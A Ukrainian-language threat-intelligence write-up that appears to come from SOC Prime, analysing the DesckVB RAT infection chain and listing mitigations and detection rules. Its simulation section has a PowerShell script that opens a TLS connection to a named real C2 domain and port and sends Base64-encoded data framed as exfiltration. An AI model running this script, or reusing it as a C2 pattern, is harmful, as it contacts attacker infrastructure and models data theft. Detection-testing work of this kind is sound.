SOC Prime Bias: Середній

09 Apr 2026 17:59

Аналіз DesckVB RAT: Від завантажувача на JavaScript до безфайлового .NET RAT

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Аналіз DesckVB RAT: Від завантажувача на JavaScript до безфайлового .NET RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

DesckVB RAT — це троян, що працює на JavaScript, який перетворюється в завантажувач PowerShell для отримання та виконання файлу .NET DLL без файлової оболонки безпосередньо в пам’яті. Щоб приховати виконання, завантажувач використовує кодування Base64 і зворотню обфускацію рядків, зловживає InstallUtil.exe як LOLBin і створює новий процес, використовуючи CreateProcessA. Після активації RAT встановлює зашифроване C2-комунікацію через HTTPS і підтримує модулі для логування клавіатури, доступу до веб-камери та виявлення антивірусів.

Розслідування

Аналіз показує, що початковий етап JavaScript записує скрипт PowerShell в C:UsersPublic, а потім звертається до обфуcкованого домену для завантаження .NET збірки (наприклад, ClassLibrary3.dll). Збірка завантажує допоміжні DLL, створює суспендований процес і впроваджує код корисного навантаження, повідомляючи про конфігураційні деталі, такі як вторинний шкідливий домен і порт. Телеметрія мережі підтверджує TLS-зашифровані комунікації від інфікованого хоста до інфраструктури C2 нападника.

Пом’якшення

Заблокуйте виконання ненадійних або непідписаних скриптів PowerShell і обмежте використання InstallUtil.exe для неадміністративних або несподіваних процесів. Застосуйте строгий контроль вихідних даних, включаючи інспекцію HTTPS, де це можливо, та фільтрацію репутації доменів для виявленої шкідливої інфраструктури. На кінцевих точках виявляйте використання CreateProcessA із флагом суспендованого процесу та сигналізуйте про шаблони завантаження збірок .NET у пам’ять, характерні для безфайлових ін’єкцій.

Відповідь

Якщо виявлено індикатори, ізолюйте кінцеву точку, зупиніть ланцюжок шкідливого процесу та зафіксуйте знімки пам’яті для аналізу зборок в пам’яті та ін’єктованих областей. Видаліть впроваджені артефакти PowerShell з C:UsersPublic і знищте будь-які пов’язані DLL або залишки завантажувача. Скидання скомпрометованих облікових даних, змініть вразливі секрети і перевірте журнали файрволу/проксі на вихідні з’єднання з перерахованими доменами і портами.

"graph TB %% Class definitions classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef malware fill:#ccffcc classDef file fill:#dddddd %% Nodes loader_js["<b>Інструмент</b> – <b>Назва</b>: Обфускований JavaScript завантажувач<br/><b>Метод</b>: T1027.006 HTML Smuggling<br/><b>Метод</b>: T1027.008 Відсічені корисні навантаження<br/><b>Опис</b>: Використовує Base64 і зворотні рядки для приховування команд"] class loader_js tool powershell_script["<b>Інструмент</b> – <b>Назва</b>: PowerShell Скрипт lkpzw_01.ps1<br/><b>Метод</b>: T1059.001 PowerShell<br/><b>Опис</b>: Виконується з обхідною політикою виконання"] class powershell_script tool dotnet_assembly["<b>Файл</b>: Шкідлива .NET збірка"] class dotnet_assembly file installutil_execution["<b>Інструмент</b> – <b>Назва</b>: InstallUtil.exe<br/><b>Метод</b>: T1218.004 Виконання через системний бінарний проксі<br/><b>Опис</b>: Виконує .NET DLL через довірену системну бінарну утиліту"] class installutil_execution tool dotnet_reflection["<b>Шкідливе ПЗ</b> – <b>Назва</b>: ClassLibrary3.dll<br/><b>Метод</b>: T1620 Відображуване завантаження коду<br/><b>Опис</b>: Завантажує збірку безпосередньо в пам’ять за допомогою рефлексії"] class dotnet_reflection malware process_hollow["<b>Дія</b> – <b>Метод</b>: T1055.012 Порожня оболонка процесу<br/><b>Опис</b>: Створює підвішений процес і впроваджує шкідливий код"] class process_hollow action thread_hijack["<b>Дія</b> – <b>Метод</b>: T1055.003 Викрадення виконання потоку<br/><b>Опис</b>: Викрадає виконання потоку в цільовому процесі"] class thread_hijack action dll_hijack["<b>Дія</b> – <b>Метод</b>: T1574.001 Виконання потоку захоплення DLL<br/><b>Опис</b>: Завантажує додаткові DLL в пам’ять для розширення функціональності"] class dll_hijack action keylogger_module["<b>Шкідливе ПЗ</b> – <b>Назва</b>: Microsoft.exe<br/><b>Метод</b>: T1056.001 Логування клавіш<br/><b>Опис</b>: Завантажувач кейлогера і інших модулів"] class keylogger_module malware c2_https["<b>Дія</b> – <b>Метод</b>: T1071.001 Веб-протоколи<br/><b>Опис</b>: Спілкується через HTTPS, змішуючись з легітимним трафіком"] class c2_https action %% Connections loader_js –>|записує і виконує| powershell_script powershell_script –>|завантажує збірку| dotnet_assembly dotnet_assembly –>|виконується через| installutil_execution installutil_execution –>|завантажується за допомогою рефлексії| dotnet_reflection dotnet_reflection –>|створює підвішений процес| process_hollow process_hollow –>|використовує викрадення потоку| thread_hijack thread_hijack –>|завантажує додаткові DLL| dll_hijack dll_hijack –>|включає| keylogger_module keylogger_module –>|спілкується з C2| c2_https "

Потік атаки

Виявлення

PowerShell виконує файл у підозрілому каталозі з обхідною політикою виконання (via cmdline)

Команда SOC Prime
08 Кві 2026

LOLBAS WScript / CScript (через process_creation)

Команда SOC Prime
08 Кві 2026

Підозрілі рядки Powershell (via powershell)

Команда SOC Prime
08 Кві 2026

Виклик підозрілих .NET класів/методів з командного рядка PowerShell (через process_creation)

Команда SOC Prime
08 Кві 2026

Підозрілі файли у загальнодоступному профілі користувача (via file_event)

Команда SOC Prime
08 Кві 2026

Підозріле виконання з загальнодоступного профілю користувача (через process_creation)

Команда SOC Prime
08 Кві 2026

IOC (SourceIP) для виявлення: Аналіз DesckVB RAT: Від JavaScript-завантажувача до безфайлового .NET RAT

SOC Prime AI Правила
08 Кві 2026

IOC (HashMd5) для виявлення: Аналіз DesckVB RAT: Від JavaScript-завантажувача до безфайлового .NET RAT

SOC Prime AI Правила
08 Кві 2026

IOC (HashSha256) для виявлення: Аналіз DesckVB RAT: Від JavaScript-завантажувача до безфайлового .NET RAT

SOC Prime AI Правила
08 Кві 2026

IOC (DestinationIP) для виявлення: Аналіз DesckVB RAT: Від JavaScript-завантажувача до безфайлового .NET RAT

SOC Prime AI Правила
08 Кві 2026

Виявлення C2-комунікацій DesckVB RAT [Windows Мережеве з’єднання]

SOC Prime AI Правила
08 Кві 2026

Виявлення PowerShell та виконання InstallUtil DesckVB RAT [Windows PowerShell]

SOC Prime AI Правила
08 Кві 2026

Виконання симуляції

Передумова: Перевірка телеметрії та базових значень перед польотом (Pre-flight Check) повинна бути пройдена.

Обгрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), призначеної для активації правила виявлення. Команди та наратив повинні прямо відображати ідентифіковані TTP, і прагнути генерувати точну телеметрію, яку очікує логіка виявлення. Абстрактні або не пов’язані приклади призведуть до хибної діагностики.

  • Описи атаки та команди:
    Атакуючий, отримавши початкову опору, запускає PowerShell-навантаження типу “життя-за-рахунок-системи”, яке відкриває TCP-з’єднання з обгорткою TLS до закодованого C2 домену manikandan83.mysynology.net на порту 7535. Навантаження кодує фіктивний блок даних за допомогою Base64 (ілюструючи T1132.002) і передає його через TLS канал. Оскільки використовуються .NET класи PowerShell, жодні зовнішні бінарні файли не записуються на диск, що відображає безфайлову природу DesckVB RAT. З’єднання встановлюється дочірнім процесом (powershell.exe), яке буде фіксуватися Sysmon як подія мережевого з’єднання з точним доменом, портом і прапором TLS, що контролює правило.

  • Сценарій регресійного тестування:

    # --------------------------------------------------------------
    # Симуляція C2 комунікацій DesckVB RAT (PowerShell)
    # --------------------------------------------------------------
    # Параметри
    $c2Domain = "manikandan83.mysynology.net"
    $c2Port   = 7535
    
    # Підроблене навантаження (Base64 закодоване) – представляє ексфільтровані дані
    $payload  = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42"))
    
    try {
        # Встановити TCP з'єднання
        $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port)
        $netStream = $tcpClient.GetStream()
    
        # Обгорнути TLS (SslStream)
        $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true}))
        $sslStream.AuthenticateAsClient($c2Domain)
    
        Write-Host "[+] TLS рукостискання завершено з $c2Domain:$c2Port"
    
        # Надіслати довжину навантаження (4‑байтний big‑endian) потім дані
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $len   = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length))
        $sslStream.Write($len,0,$len.Length)
        $sslStream.Write($bytes,0,$bytes.Length)
        $sslStream.Flush()
        Write-Host "[+] Навантаження надіслано (довжина Base64 $($bytes.Length))"
    
    } catch {
        Write-Error "[-] З'єднання не вдалося: $_"
    } finally {
        # Чисте завершення
        if ($sslStream) { $sslStream.Close() }
        if ($netStream) { $netStream.Close() }
        if ($tcpClient) { $tcpClient.Close() }
        Write-Host "[*] З'єднання завершено."
    }
  • Команди очищення:

    # Переконайтесь, що всі залишкові NetTCP-з'єднання PowerShell закриті
    Get-Process -Name powershell | Where-Object {
        $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient'
    } | Stop-Process -Force
    
    # Опціонально: Видалити Sysmon (якщо це одноразове тестове середовище)
    # & "$env:ProgramFilesSysmonSysmon.exe" -u